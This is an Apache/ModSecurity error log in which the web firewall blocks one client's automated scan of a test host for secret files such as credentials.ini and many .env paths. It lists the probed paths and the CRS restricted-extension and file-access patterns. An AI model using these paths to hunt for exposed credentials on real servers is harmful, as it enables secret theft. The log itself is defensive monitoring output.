[Fri Mar 13 10:38:57.305640 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configs/application.ini"] [unique_id "abPbMW5hdSeM3FMgw0t8AQAAAAs"]
[Fri Mar 13 10:38:57.305757 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/configs/application.ini"] [unique_id "abPbMW5hdSeM3FMgw0t8AQAAAAs"]
[Fri Mar 13 10:38:57.350670 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/constants.ini"] [unique_id "abPbMW5hdSeM3FMgw0t8AwAAAAs"]
[Fri Mar 13 10:38:57.351065 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/constants.ini"] [unique_id "abPbMW5hdSeM3FMgw0t8AwAAAAs"]
[Fri Mar 13 10:38:57.351183 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/constants.ini"] [unique_id "abPbMW5hdSeM3FMgw0t8AwAAAAs"]
[Fri Mar 13 10:38:57.511721 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/credentials.ini"] [unique_id "abPbMW5hdSeM3FMgw0t8CgAAAAs"]
[Fri Mar 13 10:38:57.512114 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/credentials.ini"] [unique_id "abPbMW5hdSeM3FMgw0t8CgAAAAs"]
[Fri Mar 13 10:38:57.512249 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/credentials.ini"] [unique_id "abPbMW5hdSeM3FMgw0t8CgAAAAs"]
[Fri Mar 13 10:38:57.581713 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /crm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8DQAAAAs"]
[Fri Mar 13 10:38:57.581911 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8DQAAAAs"]
[Fri Mar 13 10:38:57.582031 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/crm/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8DQAAAAs"]
[Fri Mar 13 10:38:57.604245 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8DgAAAAs"]
[Fri Mar 13 10:38:57.604429 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8DgAAAAs"]
[Fri Mar 13 10:38:57.604546 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8DgAAAAs"]
[Fri Mar 13 10:38:57.626826 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/current/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8DwAAAAs"]
[Fri Mar 13 10:38:57.627051 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/current/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8DwAAAAs"]
[Fri Mar 13 10:38:57.627186 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/current/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8DwAAAAs"]
[Fri Mar 13 10:38:57.649496 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8EAAAAAs"]
[Fri Mar 13 10:38:57.649671 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8EAAAAAs"]
[Fri Mar 13 10:38:57.649782 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/demo/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8EAAAAAs"]
[Fri Mar 13 10:38:57.695450 2026] [authz_core:error] [pid 2667040] [client 185.177.72.49:7592] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Fri Mar 13 10:38:57.717427 2026] [authz_core:error] [pid 2667040] [client 185.177.72.49:7592] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/env.js
[Fri Mar 13 10:38:57.739804 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /develop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/develop/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8FAAAAAs"]
[Fri Mar 13 10:38:57.740005 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/develop/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8FAAAAAs"]
[Fri Mar 13 10:38:57.740118 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/develop/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8FAAAAAs"]
[Fri Mar 13 10:38:57.763550 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /developer/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8FQAAAAs"]
[Fri Mar 13 10:38:57.763748 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8FQAAAAs"]
[Fri Mar 13 10:38:57.763872 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/developer/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8FQAAAAs"]
[Fri Mar 13 10:38:57.786596 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8FgAAAAs"]
[Fri Mar 13 10:38:57.786803 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8FgAAAAs"]
[Fri Mar 13 10:38:57.786932 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8FgAAAAs"]
[Fri Mar 13 10:38:57.997275 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /erp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/erp/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8HwAAAAs"]
[Fri Mar 13 10:38:57.997469 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/erp/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8HwAAAAs"]
[Fri Mar 13 10:38:57.997591 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/erp/.env"] [unique_id "abPbMW5hdSeM3FMgw0t8HwAAAAs"]
[Fri Mar 13 10:38:58.019632 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /fe/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/fe/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8IAAAAAs"]
[Fri Mar 13 10:38:58.019814 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/fe/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8IAAAAAs"]
[Fri Mar 13 10:38:58.019934 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/fe/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8IAAAAAs"]
[Fri Mar 13 10:38:58.042409 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /front/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/front/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8IQAAAAs"]
[Fri Mar 13 10:38:58.042574 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/front/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8IQAAAAs"]
[Fri Mar 13 10:38:58.042691 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/front/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8IQAAAAs"]
